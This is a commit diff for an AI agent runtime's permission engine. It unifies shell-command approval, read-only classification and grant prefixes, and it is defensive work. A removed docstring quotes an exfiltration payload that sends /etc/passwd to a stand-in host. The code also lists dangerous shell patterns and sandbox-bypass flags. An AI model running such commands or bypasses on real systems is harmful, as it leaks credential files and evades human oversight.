refactor: unify tool approval into a single engine and cut prompt storms
Collapse the dual permission stack into one policy. The runtime-side ToolPermissionResolver (own safe lists, own grant memory, bypassed the ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults ApprovalEngine.predict(), a synchronous fast path reading the same config and the same persisted allowlist as the async authorize pipeline, so a grant given anywhere is honored everywhere. permissions.py keeps only a policy-free adapter; the duplicated permissions_v2 config fields and the runtime grant persistence loop are removed (stale YAML keys are ignored). New shell_safety module becomes the single source of truth for shell classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/ git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d, rg --pre still prompt even when the bare name is config-listed), keyword-aware compound splitting (loop/branch headers no longer poison grants), expansion-safe $() handling, and fail-closed treatment of anything unparseable or substitution-bearing. Grant semantics are rebuilt around derived word-boundary prefixes: "python3 -c" instead of token bags, interpreter -c/-m kept in the prefix, bash/eval/sudo never grantable as prefixes, read-only segments exempt from the every-candidate-must-match rule so a granted command chained with ls/echo verification passes, and approve-once now records the exact candidates as a session grant so identical re-runs stop re-prompting. The authorize heuristic also audits the original command text instead of the quote-dropping preview (echo "<EOF>" no longer reads as redirection). Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/ sha256sum ran with zero cards, python3 -c parked once and three different python3 -c commands then passed via the persisted prefix grant, and an agent-issued rm -f compound correctly re-prompted showing only the segments needing approval. Full suite failures are byte-identical to the pre-change HEAD baseline (27 pre-existing). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
LZH-YS1998
+8
-56
@@ -691,23 +691,11 @@ class NativeSubagentProfileConfig(BaseModel):
|
||||
allowed_tools: list[str] = Field(default_factory=list)
|
||||
|
||||
|
||||
class ClassifierThresholdsConfig(BaseModel):
|
||||
allow: float = 0.2
|
||||
ask: float = 0.5
|
||||
deny: float = 0.8
|
||||
|
||||
|
||||
class DenialMemoryConfig(BaseModel):
|
||||
enabled: bool = True
|
||||
repeat_threshold: int = 2
|
||||
|
||||
|
||||
class SandboxPolicyConfig(BaseModel):
|
||||
treat_network_as_risky: bool = True
|
||||
treat_external_paths_as_high_risk: bool = True
|
||||
explicit_prefix_allowlist: list[str] = Field(default_factory=list)
|
||||
|
||||
|
||||
class GuardianConfig(BaseModel):
|
||||
enabled: bool = True
|
||||
auto_allow_read_only: bool = True
|
||||
@@ -717,57 +705,21 @@ class GuardianConfig(BaseModel):
|
||||
|
||||
|
||||
class PermissionsV2Config(BaseModel):
|
||||
"""Runtime knobs for the unified permission predictor (ApprovalEngine.predict).
|
||||
|
||||
Shell safe-command policy lives in ``autonomy.safe_command_prefixes`` plus
|
||||
the built-in flag-audited classifier (``shell_safety.py``); legacy
|
||||
duplicate fields (safe_shell_prefixes, classifier_*, sandbox_policy, ...)
|
||||
from the removed runtime-side resolver are ignored on load.
|
||||
"""
|
||||
|
||||
enabled: bool = True
|
||||
fail_closed: bool = True
|
||||
classifier_enabled: bool = True
|
||||
shell_ast_validation: bool = True
|
||||
llm_classifier_model: str = ""
|
||||
classifier_thresholds: ClassifierThresholdsConfig = Field(default_factory=ClassifierThresholdsConfig)
|
||||
denial_memory: DenialMemoryConfig = Field(default_factory=DenialMemoryConfig)
|
||||
sandbox_policy: SandboxPolicyConfig = Field(default_factory=SandboxPolicyConfig)
|
||||
candidate_extractors: list[str] = Field(default_factory=lambda: [
|
||||
"path",
|
||||
"file_path",
|
||||
"directory",
|
||||
"working_directory",
|
||||
"target_output_dir",
|
||||
"workspace_path",
|
||||
"command",
|
||||
"cmd",
|
||||
"url",
|
||||
])
|
||||
default_scope: str = "once"
|
||||
allow_scopes: list[str] = Field(default_factory=lambda: ["once", "session", "project", "global"])
|
||||
allow_tools: list[str] = Field(default_factory=list)
|
||||
deny_tools: list[str] = Field(default_factory=list)
|
||||
allowed_paths: list[str] = Field(default_factory=list)
|
||||
denied_paths: list[str] = Field(default_factory=list)
|
||||
safe_shell_prefixes: list[str] = Field(default_factory=lambda: [
|
||||
"ls",
|
||||
"pwd",
|
||||
"echo",
|
||||
"rg",
|
||||
"git status",
|
||||
"git diff",
|
||||
"curl",
|
||||
"wget",
|
||||
"yt-dlp",
|
||||
"aria2c",
|
||||
"ffmpeg",
|
||||
"python -V",
|
||||
"python3 -V",
|
||||
"node -v",
|
||||
"npm -v",
|
||||
])
|
||||
ask_shell_prefixes: list[str] = Field(default_factory=lambda: [
|
||||
"git commit",
|
||||
"git push",
|
||||
"npm install",
|
||||
"pip install",
|
||||
"pnpm install",
|
||||
"cargo test",
|
||||
"pytest",
|
||||
])
|
||||
guardian: GuardianConfig = Field(default_factory=GuardianConfig)
|
||||
dangerous_shell_patterns: list[str] = Field(default_factory=lambda: [
|
||||
r"\brm\s+-rf\b",
|
||||
|
||||
@@ -8279,6 +8279,7 @@ class OPCEngine:
|
||||
config=self.config,
|
||||
communication=self.communication,
|
||||
approval_callback=self._tool_approval_callback,
|
||||
permission_policy=self.approval_engine,
|
||||
)
|
||||
|
||||
scoped_progress = self._make_task_progress_callback(task)
|
||||
|
||||
+408
-112
@@ -27,6 +27,7 @@ from opc.layer2_organization.data_acquisition_policy import (
|
||||
is_projection_scoped_acquisition_shell_command,
|
||||
)
|
||||
from opc.layer2_organization.escalation import EscalationEngine
|
||||
from opc.layer2_organization import shell_safety
|
||||
from opc.layer2_organization.work_item_identity import (
|
||||
work_item_identity_payload_for_task,
|
||||
work_item_projection_id_from_metadata,
|
||||
@@ -39,12 +40,17 @@ from opc.llm.provider import LLMProvider
|
||||
from opc.llm.retry import LLMRetryError, call_llm_json_with_retry
|
||||
|
||||
|
||||
_SHELL_CONTROL_TOKENS = {"&&", "||", ";", "|", "&"}
|
||||
# Redirections that cannot write to a real file: fd duplication (2>&1, >&2)
|
||||
# and discarding output into /dev/null. Everything else keeps counting as a
|
||||
# redirection for the safe-prefix check.
|
||||
_SAFE_REDIRECTION_RE = re.compile(r"(?:\d?>>?\s*/dev/null\b|\d?>&\d|&>>?\s*/dev/null\b)")
|
||||
_LOW_RISK_SHELL_PREFIXES = set(ACQUISITION_SHELL_PREFIXES)
|
||||
_SHELL_LIKE_TOOL_NAMES = {"shell_exec", "python_exec", "git_commit"}
|
||||
_PREDICT_PATH_KEYS = (
|
||||
"path",
|
||||
"file_path",
|
||||
"directory",
|
||||
"working_directory",
|
||||
"target_output_dir",
|
||||
"workspace_path",
|
||||
)
|
||||
_PREDICT_COMMAND_KEYS = ("command", "cmd")
|
||||
_EXTERNAL_AGENT_DIRECT_HUMAN_MARKERS = (
|
||||
"--dangerously-bypass-approvals-and-sandbox",
|
||||
"--dangerously-skip-permissions",
|
||||
@@ -125,6 +131,7 @@ class ApprovalEngine:
|
||||
opc_home = getattr(preferences, "opc_home", None)
|
||||
self.allowlist = ApprovalAllowlistManager(opc_home) if opc_home else None
|
||||
self._session_allowlist: dict[str, dict[str, dict[str, list[str]]]] = {}
|
||||
self._denial_counts: dict[str, int] = {}
|
||||
if self.allowlist:
|
||||
self.allowlist.ensure_file()
|
||||
|
||||
@@ -322,6 +329,310 @@ class ApprovalEngine:
|
||||
return PermissionScope.GLOBAL
|
||||
return PermissionScope.ONCE
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Synchronous permission prediction (runtime fast path)
|
||||
#
|
||||
# The native runtime consults predict() before every tool call: ALLOW
|
||||
# executes immediately, DENY blocks, ASK routes into the full async
|
||||
# authorize_tool_call() pipeline (allowlist, heuristics, LLM review,
|
||||
# escalation card). predict() reads the same config and the same
|
||||
# persisted allowlist as authorize, so there is exactly one policy.
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def predict(
|
||||
self,
|
||||
tool: Any,
|
||||
arguments: dict[str, Any] | None = None,
|
||||
*,
|
||||
task: Task | None = None,
|
||||
) -> RuntimePermissionDecision:
|
||||
p2 = self.config.permissions_v2
|
||||
if tool is None:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ASK if p2.fail_closed else PermissionResolution.DENY,
|
||||
RiskLevel.HIGH,
|
||||
"Unknown tool requires manual review.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
if not self.config.enabled or not p2.enabled:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Autonomy policy is disabled.", source="config",
|
||||
)
|
||||
tool_name = str(getattr(tool, "name", "") or "")
|
||||
args = dict(arguments or {})
|
||||
|
||||
repeated = self._repeated_denial_decision(tool_name, args)
|
||||
if repeated is not None:
|
||||
return repeated
|
||||
if tool_name in {str(item or "").strip() for item in p2.deny_tools if str(item or "").strip()}:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.DENY, RiskLevel.HIGH,
|
||||
"Tool is explicitly denied by permission rules.", source="permission_rules",
|
||||
)
|
||||
if tool_name in COMPANY_APPROVAL_EXEMPT_TOOL_NAMES:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Built-in company collaboration tool is always auto-approved.",
|
||||
source="company_tool_policy",
|
||||
)
|
||||
if self._memory_path_decision("tool", tool_name, {"arguments": args}):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Direct agent access to canonical OpenOPC memory files.",
|
||||
source="memory_path_policy",
|
||||
)
|
||||
if tool_name in {str(item or "").strip() for item in p2.allow_tools if str(item or "").strip()}:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Tool is explicitly allowed by permission rules.", source="permission_rules",
|
||||
)
|
||||
|
||||
# Persisted human grants win before path/shell heuristics, matching
|
||||
# the order of the async authorize pipeline. Unauditable commands
|
||||
# cannot ride through: their candidates degrade to the exact string.
|
||||
metadata = {"arguments": args}
|
||||
session_hit = self._lookup_session_allowlist_policy(
|
||||
task=task, action_kind="tool", action_name=tool_name, metadata=metadata,
|
||||
)
|
||||
if session_hit:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
f"Allowed by session approval ({session_hit['scope']}).",
|
||||
source="session_approval", scope=PermissionScope.SESSION,
|
||||
)
|
||||
persisted_hit = self._lookup_allowlist_policy(
|
||||
action_kind="tool", action_name=tool_name, metadata=metadata,
|
||||
project_id=task.project_id if task else None,
|
||||
)
|
||||
if persisted_hit:
|
||||
scope = PermissionScope.GLOBAL if persisted_hit["scope"] is None else PermissionScope.PROJECT
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Allowed by persisted allowlist grant.",
|
||||
source="approval_allowlist", scope=scope,
|
||||
)
|
||||
|
||||
path_decision = self._predict_path_decision(tool, args, task)
|
||||
if path_decision is not None:
|
||||
return path_decision
|
||||
|
||||
if tool_name in _SHELL_LIKE_TOOL_NAMES:
|
||||
shell_decision = self._predict_shell_decision(tool_name, args, task)
|
||||
if shell_decision is not None:
|
||||
return shell_decision
|
||||
|
||||
if bool(getattr(tool, "requires_confirmation", False)):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ASK, RiskLevel.MEDIUM,
|
||||
"Tool is marked as requiring confirmation.", source="runtime_prediction",
|
||||
)
|
||||
guardian = p2.guardian
|
||||
if guardian.enabled and guardian.auto_allow_read_only and bool(getattr(tool, "read_only", False)):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Deterministic read-only tool.", source="guardian",
|
||||
)
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"No permission warning triggered.", source="runtime_prediction",
|
||||
)
|
||||
|
||||
def record_denial(self, tool_name: str, arguments: dict[str, Any] | None = None) -> None:
|
||||
if not self.config.permissions_v2.denial_memory.enabled:
|
||||
return
|
||||
key = self._denial_memory_key(tool_name, arguments)
|
||||
self._denial_counts[key] = self._denial_counts.get(key, 0) + 1
|
||||
|
||||
def _denial_memory_key(self, tool_name: str, arguments: dict[str, Any] | None) -> str:
|
||||
args = dict(arguments or {})
|
||||
for key in (*_PREDICT_PATH_KEYS, *_PREDICT_COMMAND_KEYS, "url"):
|
||||
value = str(args.get(key, "") or "").strip()
|
||||
if value:
|
||||
return f"{tool_name}:{value}"
|
||||
return f"{tool_name}:*"
|
||||
|
||||
def _repeated_denial_decision(
|
||||
self, tool_name: str, arguments: dict[str, Any] | None
|
||||
) -> RuntimePermissionDecision | None:
|
||||
memory = self.config.permissions_v2.denial_memory
|
||||
if not memory.enabled:
|
||||
return None
|
||||
repeats = self._denial_counts.get(self._denial_memory_key(tool_name, arguments), 0)
|
||||
if repeats < max(1, memory.repeat_threshold):
|
||||
return None
|
||||
return self._predict_decision(
|
||||
PermissionResolution.DENY, RiskLevel.HIGH,
|
||||
"Repeated denials indicate this action should stop and ask for a new plan.",
|
||||
source="denial_memory",
|
||||
metadata={"repeated_denials": repeats},
|
||||
)
|
||||
|
||||
def _predict_shell_decision(
|
||||
self,
|
||||
tool_name: str,
|
||||
args: dict[str, Any],
|
||||
task: Task | None,
|
||||
) -> RuntimePermissionDecision | None:
|
||||
command = ""
|
||||
for key in _PREDICT_COMMAND_KEYS:
|
||||
value = str(args.get(key, "") or "").strip()
|
||||
if value:
|
||||
command = value
|
||||
break
|
||||
if not command:
|
||||
return None
|
||||
for pattern in self.config.permissions_v2.dangerous_shell_patterns:
|
||||
if pattern and re.search(pattern, command, flags=re.IGNORECASE):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ASK, RiskLevel.CRITICAL,
|
||||
f"Command matched dangerous shell pattern `{pattern}`.",
|
||||
source="shell_pattern",
|
||||
)
|
||||
if is_projection_scoped_acquisition_shell_command(
|
||||
command=command,
|
||||
task=task,
|
||||
working_directory=str(args.get("working_directory", "") or args.get("workdir", "") or "").strip(),
|
||||
target_output_dir=str((getattr(task, "metadata", {}) or {}).get("target_output_dir", "") or "").strip() if task else "",
|
||||
):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Work-item-scoped acquisition command inside the assigned workspace.",
|
||||
source="shell_prefix",
|
||||
)
|
||||
safe_prefixes = [
|
||||
item for item in self.config.safe_command_prefixes
|
||||
if str(item or "").strip() not in _LOW_RISK_SHELL_PREFIXES
|
||||
]
|
||||
safe, reason = shell_safety.is_read_only_shell_command(command, safe_prefixes)
|
||||
if safe:
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
reason, source="shell_read_only",
|
||||
)
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ASK, RiskLevel.MEDIUM,
|
||||
f"Shell command requires approval review: {reason}",
|
||||
source="shell_guard",
|
||||
)
|
||||
|
||||
def _predict_path_decision(
|
||||
self,
|
||||
tool: Any,
|
||||
args: dict[str, Any],
|
||||
task: Task | None,
|
||||
) -> RuntimePermissionDecision | None:
|
||||
if not args:
|
||||
return None
|
||||
p2 = self.config.permissions_v2
|
||||
candidate = ""
|
||||
for key in _PREDICT_PATH_KEYS:
|
||||
value = str(args.get(key, "") or "").strip()
|
||||
if value:
|
||||
candidate = value
|
||||
break
|
||||
if not candidate:
|
||||
return None
|
||||
if self._matches_path_rule(candidate, p2.denied_paths):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.DENY, RiskLevel.HIGH,
|
||||
"Target path matches a denied permission rule.", source="permission_rules",
|
||||
)
|
||||
if self._matches_path_rule(candidate, p2.allowed_paths):
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ALLOW, RiskLevel.LOW,
|
||||
"Target path matches an explicit allow rule.", source="permission_rules",
|
||||
scope=PermissionScope.PROJECT,
|
||||
)
|
||||
if bool(getattr(tool, "read_only", False)):
|
||||
return None
|
||||
try:
|
||||
resolved = Path(candidate).resolve()
|
||||
except Exception:
|
||||
return None
|
||||
for root in self._predict_workspace_roots(task):
|
||||
if resolved == root or root in resolved.parents:
|
||||
return None
|
||||
return self._predict_decision(
|
||||
PermissionResolution.ASK if p2.fail_closed else PermissionResolution.DENY,
|
||||
RiskLevel.HIGH,
|
||||
"Target path is outside the current workspace roots.",
|
||||
source="path_guard",
|
||||
metadata={"candidate": candidate},
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _matches_path_rule(candidate: str, rules: list[str]) -> bool:
|
||||
raw = str(candidate or "").strip()
|
||||
if not raw or raw == "*":
|
||||
return False
|
||||
for rule in rules:
|
||||
token = str(rule or "").strip()
|
||||
if not token:
|
||||
continue
|
||||
if token == "*" or raw == token:
|
||||
return True
|
||||
try:
|
||||
rule_path = Path(token).resolve()
|
||||
candidate_path = Path(raw).resolve()
|
||||
except Exception:
|
||||
if raw.startswith(token.rstrip("\\/")):
|
||||
return True
|
||||
continue
|
||||
if candidate_path == rule_path or rule_path in candidate_path.parents:
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _predict_workspace_roots(task: Task | None) -> list[Path]:
|
||||
roots: list[Path] = []
|
||||
metadata = getattr(task, "metadata", {}) or {} if task else {}
|
||||
for raw in (
|
||||
str(metadata.get("workspace_root", "") or "").strip(),
|
||||
str(metadata.get("comms_workspace_root", "") or "").strip(),
|
||||
str(metadata.get("output_root", "") or "").strip(),
|
||||
str(metadata.get("target_output_dir", "") or "").strip(),
|
||||
):
|
||||
if not raw:
|
||||
continue
|
||||
try:
|
||||
path = Path(raw).resolve()
|
||||
except Exception:
|
||||
continue
|
||||
if path not in roots:
|
||||
roots.append(path)
|
||||
try:
|
||||
memory_root = (Path(get_opc_home()) / "memory").resolve()
|
||||
if memory_root not in roots:
|
||||
roots.append(memory_root)
|
||||
except Exception:
|
||||
pass
|
||||
if not roots:
|
||||
try:
|
||||
roots.append(Path.cwd().resolve())
|
||||
except Exception:
|
||||
pass
|
||||
return roots
|
||||
|
||||
@staticmethod
|
||||
def _predict_decision(
|
||||
resolution: PermissionResolution,
|
||||
risk: RiskLevel,
|
||||
rationale: str,
|
||||
*,
|
||||
source: str,
|
||||
scope: PermissionScope = PermissionScope.ONCE,
|
||||
metadata: dict[str, Any] | None = None,
|
||||
) -> RuntimePermissionDecision:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=resolution,
|
||||
scope=scope,
|
||||
risk_level=risk,
|
||||
rationale=rationale,
|
||||
source=source,
|
||||
metadata=dict(metadata or {}),
|
||||
)
|
||||
|
||||
async def _authorize(
|
||||
self,
|
||||
task: Task | None,
|
||||
@@ -820,7 +1131,7 @@ class ApprovalEngine:
|
||||
arguments = metadata.get("arguments", {})
|
||||
if action_name == "shell_exec" and isinstance(arguments, dict):
|
||||
command = str(arguments.get("command", "")).strip()
|
||||
commands, _ = self._extract_shell_command_targets(command)
|
||||
commands, _ = self._shell_grant_targets(command)
|
||||
if commands:
|
||||
return commands
|
||||
preview = self._command_preview(command)
|
||||
@@ -863,7 +1174,7 @@ class ApprovalEngine:
|
||||
if action_kind == "tool":
|
||||
arguments = metadata.get("arguments", {})
|
||||
if action_name == "shell_exec" and isinstance(arguments, dict):
|
||||
_, prefixes = self._extract_shell_command_targets(str(arguments.get("command", "")).strip())
|
||||
_, prefixes = self._shell_grant_targets(str(arguments.get("command", "")).strip())
|
||||
if prefixes:
|
||||
return prefixes
|
||||
preview = self._command_preview(arguments.get("command"))
|
||||
@@ -872,93 +1183,70 @@ class ApprovalEngine:
|
||||
|
||||
return ["*"]
|
||||
|
||||
def _extract_shell_command_targets(self, command: str) -> tuple[list[str], list[str]]:
|
||||
def _shell_grant_targets(self, command: str) -> tuple[list[str], list[str]]:
|
||||
"""Derive allowlist candidates (full per-segment commands) and grant
|
||||
patterns (word-boundary prefixes) for a shell command.
|
||||
|
||||
Only the segments that actually need approval are returned: read-only
|
||||
safe segments (`ls` / `echo` / verification `cat`s chained after a
|
||||
granted command) pass on their own merit and must neither break the
|
||||
every-candidate-must-match rule nor be persisted as grants.
|
||||
|
||||
Fail closed: a command containing substitution we cannot audit, or one
|
||||
that does not tokenize, is only ever grantable as its exact normalized
|
||||
string — never as a broad prefix.
|
||||
"""
|
||||
raw = " ".join(str(command or "").split()).strip()
|
||||
if not raw:
|
||||
return [], []
|
||||
sanitized, expansions_safe = shell_safety.sanitize_expansions(raw)
|
||||
sanitized = shell_safety.strip_safe_redirections(sanitized)
|
||||
segments = shell_safety.split_shell_segments(sanitized) if expansions_safe else None
|
||||
if not segments:
|
||||
return [raw], [raw]
|
||||
safe_prefixes = [
|
||||
item for item in self.config.safe_command_prefixes
|
||||
if str(item or "").strip() not in _LOW_RISK_SHELL_PREFIXES
|
||||
]
|
||||
commands: list[str] = []
|
||||
prefixes: list[str] = []
|
||||
for tokens in self._split_shell_command_segments(command):
|
||||
all_commands: list[str] = []
|
||||
all_prefixes: list[str] = []
|
||||
for tokens in segments:
|
||||
full = " ".join(tokens).strip()
|
||||
if full:
|
||||
commands.append(full)
|
||||
if not full:
|
||||
continue
|
||||
prefix_tokens = self._shell_command_prefix(tokens)
|
||||
prefix = " ".join(prefix_tokens).strip()
|
||||
if prefix:
|
||||
prefixes.append(prefix)
|
||||
if prefix_tokens and prefix_tokens[0] in shell_safety.UNGRANTABLE_PREFIX_HEADS:
|
||||
# "always allow bash/eval/sudo ..." would be a blank check;
|
||||
# degrade to the exact command.
|
||||
prefix = full
|
||||
all_commands.append(full)
|
||||
all_prefixes.append(prefix or full)
|
||||
if not shell_safety.is_read_only_shell_command(full, safe_prefixes)[0]:
|
||||
commands.append(full)
|
||||
prefixes.append(prefix or full)
|
||||
if not commands:
|
||||
preview = self._command_preview(command)
|
||||
if preview:
|
||||
commands.append(preview)
|
||||
prefixes.append(preview)
|
||||
# Fully read-only command: grants are moot, but keep the raw
|
||||
# targets so callers still have a meaningful display candidate.
|
||||
commands, prefixes = all_commands, all_prefixes
|
||||
return list(dict.fromkeys(commands)), list(dict.fromkeys(prefixes))
|
||||
|
||||
def _command_has_redirection(self, command: str) -> bool:
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return False
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|<>")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except ValueError:
|
||||
return any(marker in text for marker in (">", "<"))
|
||||
return any(token in {">", ">>", "<", "<<"} for token in tokens)
|
||||
|
||||
def _command_has_shell_substitution(self, command: str) -> bool:
|
||||
"""Detect shell command substitution / dynamic eval inside a command.
|
||||
|
||||
``curl``, ``echo``, ``find`` and friends appear in ``safe_command_prefixes``,
|
||||
so a command whose first token matches one of them is auto-approved as LOW risk.
|
||||
Without this check, a payload such as ``curl http://evil/$(cat /etc/passwd)``
|
||||
tokenizes to a single segment beginning with ``curl`` — bash expands the
|
||||
``$(...)`` before invoking curl, silently exfiltrating data with no human/LLM
|
||||
review. The shlex tokenizer used here treats ``$`` as an ordinary character, so
|
||||
command substitution must be flagged explicitly.
|
||||
"""
|
||||
text = str(command or "")
|
||||
if "$(" in text or "`" in text:
|
||||
"""True when a command contains dynamic constructs (unauditable
|
||||
``$(...)``, backticks, process substitution, ``eval``/``source``) that
|
||||
must never ride through on a safe prefix or a persisted grant."""
|
||||
if shell_safety.has_blocked_substitution(command):
|
||||
return True
|
||||
# ``eval`` / ``source`` let a "safe" prefix execute an arbitrary follow-up
|
||||
# arg, but only when they are the command itself. As ordinary arguments
|
||||
# (``grep source config.py``) they are inert; flagging them there only
|
||||
# produces false approval prompts.
|
||||
for tokens in self._split_shell_command_segments(text):
|
||||
if tokens and tokens[0] in {"eval", "source", "."}:
|
||||
return True
|
||||
return False
|
||||
segments = shell_safety.split_shell_segments(command)
|
||||
if segments is None:
|
||||
return True
|
||||
return any(tokens and tokens[0] in {"eval", "source", "."} for tokens in segments)
|
||||
|
||||
def _command_matches_safe_prefix(self, command: str, prefixes: list[str]) -> bool:
|
||||
cleaned = " ".join(str(command or "").split()).strip()
|
||||
if not cleaned:
|
||||
return False
|
||||
# Discarding stderr or duplicating fds writes nothing, and agents
|
||||
# habitually append `2>&1` / `2>/dev/null` to read-only commands; strip
|
||||
# those before the redirection check so they alone do not disqualify a
|
||||
# command. Anything else touching `>`/`>>`/`<` still fails.
|
||||
sanitized = _SAFE_REDIRECTION_RE.sub(" ", cleaned)
|
||||
if self._command_has_redirection(sanitized):
|
||||
return False
|
||||
if self._command_has_shell_substitution(sanitized):
|
||||
return False
|
||||
commands, command_prefixes = self._extract_shell_command_targets(sanitized)
|
||||
if not commands or not command_prefixes:
|
||||
return False
|
||||
candidates = [
|
||||
candidate
|
||||
for candidate in (str(item or "").strip().casefold() for item in prefixes)
|
||||
if candidate
|
||||
]
|
||||
if not candidates:
|
||||
return False
|
||||
# A compound command (`ls a && echo --- && ls b`, `git status | head`)
|
||||
# qualifies only when every segment independently matches a safe prefix.
|
||||
for prefix in command_prefixes:
|
||||
normalized_prefix = prefix.casefold()
|
||||
if not any(
|
||||
normalized_prefix == candidate or normalized_prefix.startswith(f"{candidate} ")
|
||||
for candidate in candidates
|
||||
):
|
||||
return False
|
||||
return True
|
||||
safe, _ = shell_safety.is_read_only_shell_command(command, prefixes)
|
||||
return safe
|
||||
|
||||
def _is_low_risk_shell_first_use_exempt(self, action_name: str, metadata: dict[str, Any]) -> bool:
|
||||
if action_name != "shell_exec":
|
||||
@@ -977,35 +1265,18 @@ class ApprovalEngine:
|
||||
target_output_dir=str(metadata.get("target_output_dir", "") or "").strip(),
|
||||
)
|
||||
|
||||
def _split_shell_command_segments(self, command: str) -> list[list[str]]:
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return []
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except ValueError:
|
||||
try:
|
||||
tokens = shlex.split(text)
|
||||
except ValueError:
|
||||
tokens = text.split()
|
||||
|
||||
segments: list[list[str]] = []
|
||||
current: list[str] = []
|
||||
for token in tokens:
|
||||
if token in _SHELL_CONTROL_TOKENS:
|
||||
if current:
|
||||
segments.append(current)
|
||||
current = []
|
||||
continue
|
||||
current.append(token)
|
||||
if current:
|
||||
segments.append(current)
|
||||
return segments
|
||||
|
||||
def _shell_command_prefix(self, tokens: list[str]) -> list[str]:
|
||||
# Interpreter inline-code / module runs keep the flag in the prefix so
|
||||
# a grant reads `python3 -c` (all inline snippets) or `python -m pip`
|
||||
# (that module) instead of a blanket `python3`.
|
||||
if tokens and tokens[0] in {"python", "python3", "python2", "node", "bun", "deno", "ruby", "perl"}:
|
||||
for index in (1, 2):
|
||||
if index >= len(tokens):
|
||||
break
|
||||
if tokens[index] in {"-c", "-e"}:
|
||||
return [tokens[0], tokens[index]]
|
||||
if tokens[index] == "-m" and index + 1 < len(tokens):
|
||||
return [tokens[0], "-m", tokens[index + 1]]
|
||||
semantic = self._shell_semantic_tokens(tokens)
|
||||
for length in range(len(semantic), 0, -1):
|
||||
prefix = " ".join(semantic[:length])
|
||||
@@ -1149,9 +1420,19 @@ class ApprovalEngine:
|
||||
item for item in self.config.safe_command_prefixes
|
||||
if projection_scoped_low_risk or str(item or "").strip() not in _LOW_RISK_SHELL_PREFIXES
|
||||
]
|
||||
# The read-only audit must see the ORIGINAL command text: the
|
||||
# preview used for keyword scans re-joins shlex tokens and drops
|
||||
# quotes, turning e.g. `echo "<EOF>"` into `echo <EOF>` where the
|
||||
# bare `<` reads as a redirection and misclassifies the command.
|
||||
arguments = metadata.get("arguments", {})
|
||||
raw_command = (
|
||||
str(arguments.get("command", "") or arguments.get("cmd", "") or "").strip()
|
||||
if isinstance(arguments, dict)
|
||||
else ""
|
||||
) or command
|
||||
if projection_scoped_low_risk:
|
||||
reasons.append("Command matches a projection-scoped acquisition prefix inside the assigned workspace.")
|
||||
elif self._command_matches_safe_prefix(command, safe_prefixes):
|
||||
elif self._command_matches_safe_prefix(raw_command, safe_prefixes):
|
||||
reasons.append("Command matches known low-risk prefix.")
|
||||
elif risk == RiskLevel.LOW:
|
||||
risk = RiskLevel.MEDIUM
|
||||
@@ -1611,6 +1892,21 @@ class ApprovalEngine:
|
||||
session_scope_id = self._approval_session_scope_id(task)
|
||||
if session_scope_id:
|
||||
allowlist_scope = f"session:{session_scope_id}"
|
||||
elif reply == "approve_once" and allowlist_enabled and action_kind == "tool":
|
||||
# "Approve once" still records the exact blocked candidates as a
|
||||
# session grant: repeating the identical action in this session
|
||||
# must not re-prompt, but nothing broader is granted.
|
||||
once_patterns = approval_context.get("candidates") or allowlist_patterns
|
||||
if once_patterns:
|
||||
saved_patterns = self._add_session_patterns(
|
||||
task=task,
|
||||
action_kind=action_kind,
|
||||
action_name=action_name,
|
||||
patterns=list(once_patterns),
|
||||
)
|
||||
session_scope_id = self._approval_session_scope_id(task)
|
||||
if saved_patterns and session_scope_id:
|
||||
allowlist_scope = f"session:{session_scope_id}"
|
||||
elif reply == "always_project" and self.allowlist:
|
||||
saved_patterns = self.allowlist.add_patterns(
|
||||
action_kind=action_kind,
|
||||
@@ -1691,7 +1987,7 @@ class ApprovalEngine:
|
||||
patterns=allowlist_patterns,
|
||||
)
|
||||
scope = f"session:{session_scope_id}"
|
||||
elif normalized_reply == "approve_once" and session_scope_id:
|
||||
elif normalized_reply == "approve_once" and session_scope_id and action_kind == "tool":
|
||||
# No one-shot grant store exists; the narrowest durable equivalent
|
||||
# is a session grant for the exact blocked command(s), so the
|
||||
# resumed run passes without widening approval to the whole family.
|
||||
|
||||
@@ -0,0 +1,524 @@
|
||||
"""Flag-audited shell-command safety classification.
|
||||
|
||||
